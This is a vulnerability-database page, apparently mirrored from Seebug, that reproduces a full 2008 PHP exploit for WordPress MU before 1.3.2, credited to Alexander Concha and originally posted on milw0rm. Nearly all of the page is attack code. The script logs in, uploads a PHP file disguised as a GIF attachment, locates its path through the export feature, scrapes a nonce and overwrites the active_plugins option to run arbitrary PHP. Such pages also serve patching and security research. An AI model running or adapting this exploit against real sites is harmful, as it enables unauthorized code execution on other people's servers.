Lucene search
K

Wordpress MU < 1.3.2 active_plugins option Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

Wordpress MU < 1.3.2 active_plugins option Code Execution Exploit using Snoopy clas

Code

                                                &#60;?php
/*
WordPress [MU] blog&#39;s options overwrite

Credits : Alexander Concha &#60;alex at buayacorp dot com&#62;
Website : http://www.buayacorp.com/
Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html

This exploit uses active_plugins option to execute arbitrary PHP
*/
include_once &#39;./class-snoopy.php&#39;;

// Fix Snoopy
class SnoopyExt extends Snoopy {
	function _prepare_post_body($formvars, $formfiles) {
		if ( is_string($formvars) ) {
			return $formvars;
		}
		return parent::_prepare_post_body($formvars, $formfiles);
	}
}

set_time_limit( 0 );

// Any user with &#39;manage_options&#39; and &#39;upload_files&#39; capabilities
$user = &#39;user&#39;;
$pass = &#39;1234&#39;;
$blog_url = &#39;http://localhost.localdomain/mu/&#39;;
$remote_file = &#39;&#39;; // relative path to wp-content
$local_file = &#39;&#39;; // the contents of this file, if any, will be uploaded

$snoopy = new SnoopyExt();

$snoopy-&#62;maxredirs = 0;
$snoopy-&#62;cookies[&#39;wordpress_test_cookie&#39;] = &#39;WP+Cookie+check&#39;;
$snoopy-&#62;submit(&#34;{$blog_url}wp-login.php&#34;, array(&#39;log&#39; =&#62; $user, &#39;pwd&#39; =&#62; $pass));

$snoopy-&#62;setcookies(); // Set auth cookies for future requests

if ( empty($remote_file) ) {
	// Upload a new file
	$snoopy-&#62;_submit_type = &#39;image/gif&#39;;
	$snoopy-&#62;submit(&#34;{$blog_url}wp-app.php?action=/attachments&#34;, get_contents());

	if ( preg_match(&#39;#&#60;id&#62;([^&#60;]+)&#60;/id&#62;#i&#39;, $snoopy-&#62;results, $match) ) {
		$remote_file = basename($match[1]);
	}
}
if ( empty($remote_file) ) die(&#39;Exploit failed...&#39;);

// Look for real path
$snoopy-&#62;fetch(&#34;{$blog_url}wp-admin/export.php?download&#34;);

if ( preg_match(&#34;#&#60;wp:meta_value&#62;(.*$remote_file)&#60;/wp:meta_value&#62;#&#34;, $snoopy-&#62;results, $match) ) {
	$remote_file = preg_replace(&#39;#.*?wp-content#&#39;, &#39;&#39;, $match[1]);
}
if ( empty($remote_file) ) die(&#39;Exploit failed...&#39;);

// It asumes that file uploads are stored within wp-content 
$remote_file = &#39;../&#39; . ltrim($remote_file, &#39;/&#39;);

$snoopy-&#62;fetch(&#34;{$blog_url}wp-admin/plugins.php&#34;);

// Recover previous active plugins
$active_plugins = array();
if ( preg_match_all(&#39;#action=deactivate&([^\&#39;]+)#&#39;, $snoopy-&#62;results, $matches) ) {
	foreach ($matches[0] as $plugin) {
		if ( preg_match(&#39;#plugin=([^&]+)#&#39;, $plugin, $match) )
			$active_plugins[] = urldecode($match[1]);
	}
	print_r($active_plugins);
}
$active_plugins[] = $remote_file;

// Fetch a valid nonce
$snoopy-&#62;fetch(&#34;{$blog_url}wp-admin/options-general.php&#34;);

if ( preg_match(&#39;#name=._wpnonce. value=.([a-z\d]{10}).#&#39;, $snoopy-&#62;results, $match) ) {

	// Finally update active_plugins
	$snoopy-&#62;set_submit_normal();
	$snoopy-&#62;submit(&#34;{$blog_url}wp-admin/options.php&#34;,
		array(
			&#39;active_plugins&#39; =&#62; $active_plugins,
			&#39;_wpnonce&#39; =&#62; $match[1],
			&#39;action&#39; =&#62; &#39;update&#39;,
			&#39;page_options&#39; =&#62; &#39;active_plugins&#39;,
		));
}

function get_contents() {
	global $local_file;

	return file_exists($local_file) ? file_get_contents($local_file) : &#39;&#60;?php echo &#34;Hello World &#34; . __FILE__; ?&#62;&#39;;
}
?&#62;

# milw0rm.com [2008-02-05]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
24